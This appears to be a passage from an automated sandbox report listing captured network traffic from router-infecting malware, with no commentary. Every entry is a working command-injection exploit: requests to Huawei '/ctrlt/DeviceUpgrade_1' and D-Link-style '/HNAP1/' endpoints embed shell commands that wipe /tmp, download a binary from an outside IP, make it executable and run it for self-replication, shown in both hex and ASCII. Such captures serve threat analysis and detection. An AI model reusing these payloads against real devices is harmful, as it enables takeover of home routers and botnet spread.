Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 461Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 36 2e 31 39 2e 31 34 31 2e 31 32 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 46.19.141.122 -l /tmp/.oxy -r /bins/mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 461Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 36 2e 31 39 2e 31 34 31 2e 31 32 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 46.19.141.122 -l /tmp/.oxy -r /bins/mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 461Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 36 2e 31 39 2e 31 34 31 2e 31 32 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 46.19.141.122 -l /tmp/.oxy -r /bins/mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 461Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 36 2e 31 39 2e 31 34 31 2e 31 32 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 46.19.141.122 -l /tmp/.oxy -r /bins/mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 461Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 36 2e 31 39 2e 31 34 31 2e 31 32 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 46.19.141.122 -l /tmp/.oxy -r /bins/mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 461Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 36 2e 31 39 2e 31 34 31 2e 31 32 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 46.19.141.122 -l /tmp/.oxy -r /bins/mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
